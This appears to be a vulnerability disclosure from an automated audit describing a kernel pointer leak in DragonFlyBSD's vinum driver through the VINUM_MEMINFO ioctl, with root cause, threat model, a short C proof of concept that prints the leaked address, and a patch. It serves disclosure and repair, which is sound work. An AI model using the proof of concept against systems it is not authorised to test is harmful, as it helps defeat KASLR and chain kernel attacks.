Summary

vinum_meminfo() copies the in-kernel virtual address of the global struct mc malloced[MALLOCENTRIES] array (vinummemory.c:87) directly into the user-supplied ioctl data buffer at vinummemory.c:190 (m->malloced = malloced;). The framework copyout()s this to the caller (sys_generic.c:729-730), so a userspace process obtains a live kernel pointer, partially defeating kernel KASLR for the vinum BSS region. The leak is reachable only by a process that has opened /dev/vinum/Control (caps_priv_check RESTRICTEDROOT in vinum.c:459) and only on VINUMDEBUG kernels.

Root cause

vinummemory.c:184-192:

void vinum_meminfo(caddr_t data) {
    struct meminfo *m = (struct meminfo *) data;
    m->mallocs = malloccount;
    m->total_malloced = total_malloced;
    m->malloced = malloced;          /* line 190: writes a kernel pointer
                                        into the user buffer */
    m->highwater = highwater;
}

VINUM_MEMINFO is declared _IOR(L, 79, struct meminfo) at vinumio.h:172 and dispatched at vinumioctl.c:241-243. struct meminfo (vinumvar.h:653-658) exposes struct mc *malloced. The kernel pointer is useless to a normal userspace program (it cannot be dereferenced from user mode), but it is a clean KASLR oracle: any kernel pointer of a known global narrows the search space for an attacker targeting other primitives. Combined with the OOB read in DF-2122, it lets the attacker pre-compute the address of malloced[] before reading it.

Threat model & preconditions

• Attacker position: same as DF-2122 — restricted-root via /dev/vinum/Control on a VINUMDEBUG kernel.
• Privileges gained or impact: KASLR bypass for the vinum BSS region. Stand-alone this is a low-value info leak; its value is as an enabler for the OOB-read primitive in the same file, since the attacker can correlate leaked pointers with the known &malloced base. No availability or integrity impact by itself.
• Required config or capabilities: VINUMDEBUG kernel option AND restricted-root.
• Reachability: single ioctl(VINUM_MEMINFO, ...).

Proof of Concept

PoC source: findings/poc/DF-2123/

/* meminfo_leak.c on a VINUMDEBUG DragonFlyBSD kernel */
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>

#define L 'F'
struct meminfo { int mallocs; int total_malloced; int highwater; void *malloced; };
#define VINUM_MEMINFO _IOR(L, 79, struct meminfo)

int main(void) {
    int fd = open("/dev/vinum/Control", O_RDWR);
    if (fd < 0) { perror("open"); return 1; }
    struct meminfo mi;
    if (ioctl(fd, VINUM_MEMINFO, &mi) != 0) { perror("ioctl"); return 1; }
    printf("kernel &malloced[] = %p\n", mi.malloced);
    close(fd); return 0;
}

Build: cc -o meminfo_leak meminfo_leak.c. Run as root: ./meminfo_leak.

Expected output

kernel &malloced[] = 0xffff...

On a non-debug kernel the ioctl returns ENOTTY.

Impact

KASLR-oracle info leak. VINUMDEBUG + restricted-root only.

Recommended fix

Stop exporting the kernel pointer; userspace can already walk the table by index via VINUM_MALLOCINFO (vinummemory.c:194-208), so the raw address is unnecessary.

--- a/sys/dev/raid/vinum/vinummemory.c
+++ b/sys/dev/raid/vinum/vinummemory.c
@@ -187,7 +187,6 @@ vinum_meminfo(caddr_t data)

     m->mallocs = malloccount;
     m->total_malloced = total_malloced;
-    m->malloced = malloced;
+    m->malloced = NULL;            /* do not leak kernel pointers to userspace */
     m->highwater = highwater;
 }

If a debugging tool genuinely needs the address, it should be obtainable through kgdb/ddb symbol lookup rather than reflected into a user buffer.

References

• DF-2122 — sibling OOB read in the same file.
• sys/dev/raid/vinum/vinum.c:459 — caps_priv_check(RESTRICTEDROOT).

Timeline

• 2026-07-25 Discovered during automated audit.
• 2026-07-25 Reported to DragonFlyBSD security contact.